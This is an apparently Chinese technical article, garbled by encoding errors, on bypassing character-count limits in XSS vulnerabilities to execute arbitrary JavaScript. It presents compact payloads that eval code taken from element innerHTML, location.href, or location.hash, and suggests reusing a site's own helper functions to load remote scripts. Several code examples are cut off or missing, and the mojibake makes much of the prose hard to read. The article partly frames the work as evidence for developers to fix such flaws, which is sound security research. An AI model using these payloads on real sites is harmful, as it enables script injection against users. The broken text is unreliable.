突破XSS字符數(shù)量限制執(zhí)行任意JS代碼
一、綜述
有些XSS漏洞由于字符數(shù)量有限制而沒法有效的利用,只能彈出一個(gè)對(duì)話框來(lái)YY,本文主要討論如何突破字符數(shù)量的限制進(jìn)行有效的利用,這里對(duì)有效利用的定義是可以不受限制執(zhí)行任意JS。對(duì)于跨站師們來(lái)說(shuō),研究極端情況下XSS利用的可能性是一種樂趣;對(duì)于產(chǎn)品安全人員來(lái)說(shuō),不受限制的利用的可能是提供給開發(fā)人員最有力的證據(jù),要求他們重視并修補(bǔ)這些極端情況下的XSS漏洞。
突破的方法有很多種,但是突破的思想基本都一樣,那就是執(zhí)行可以控制的不受限制的數(shù)據(jù)。
二、突破方法
2.1 利用HTML上下文中其他可以控制的數(shù)據(jù)
可控的安全的數(shù)據(jù)
alert(/xss/);
由于XSS點(diǎn)有字符數(shù)量限制,所以這里只能彈框,那么我們可以把XSS的Payload通過(guò)escape編碼后作為安全的數(shù)據(jù),輸出到可控的安全數(shù)據(jù)位置,然后在XSS點(diǎn)執(zhí)行可控的安全數(shù)據(jù):
eval(unescape(x.innerHTML));
長(zhǎng)度:28 + len(id)
由于x內(nèi)部的數(shù)據(jù)沒有字符數(shù)量的限制,那么從而可以達(dá)到執(zhí)行任意JS的目的。
2.2 利用URL中的數(shù)據(jù)
長(zhǎng)度:30
limited_xss_point>eval(location.href.substr(80));
長(zhǎng)度:31
上面兩個(gè)例子對(duì)比,前一個(gè)例子更短,那么有沒有辦法更短呢?通過(guò)查閱t手冊(cè)的String的方法可以發(fā)現(xiàn),切割字符串有一個(gè)更短的函數(shù)slice,5個(gè)字符比substr還要短一個(gè)字符:
長(zhǎng)度:29
eval(location.href.slice(80));
長(zhǎng)度:30
那么還有沒有辦法更短呢?答案是YES,查閱一下MSND里的location對(duì)象的參考你會(huì)發(fā)現(xiàn)有個(gè)hash成員,獲取#之后的數(shù)據(jù),那么我們可以把要執(zhí)行的代碼放在#后面,然后通過(guò)hash獲得代碼執(zhí)行,由于獲得的數(shù)據(jù)是#開頭的,所以只需要slice一個(gè)字符就可以拿到代碼:
eval(location.hash.slice(1));
長(zhǎng)度:29
這樣比上面的例子又少了一個(gè)字符。那么還可以更短么?
2.3 JS上下文的利用
為什么我如此痛苦?那是因?yàn)镴S和DHTML的方法名和屬性名太長(zhǎng)!瞧瞧這些“糟糕”的名字:
String.fromCharCode
getElementById
getElementsByTagName
XMLHTTPRequest
...
就連開發(fā)人員也不愿意多寫一次,于是很多站點(diǎn)的前端開發(fā)工程師們封裝了各式各樣的簡(jiǎn)化函數(shù),最經(jīng)典的例子就是:
這些函數(shù)同樣可以為我們所用,用來(lái)縮短我們的Payload的長(zhǎng)度。不過(guò)上面這個(gè)例子不是最短的,IE和FF都支持直接通過(guò)ID來(lái)引用一個(gè)元素。有些函數(shù)可以直接用來(lái)加載我們的代碼:
n loads(url)
...
loads("
長(zhǎng)度:len(函數(shù)名) + len(url) + 5 當(dāng)然你的url則是越短越好哦!有些函數(shù)則會(huì)幫我們?nèi)プ鱄TTP請(qǐng)求: n get(url) ... return x.responseText;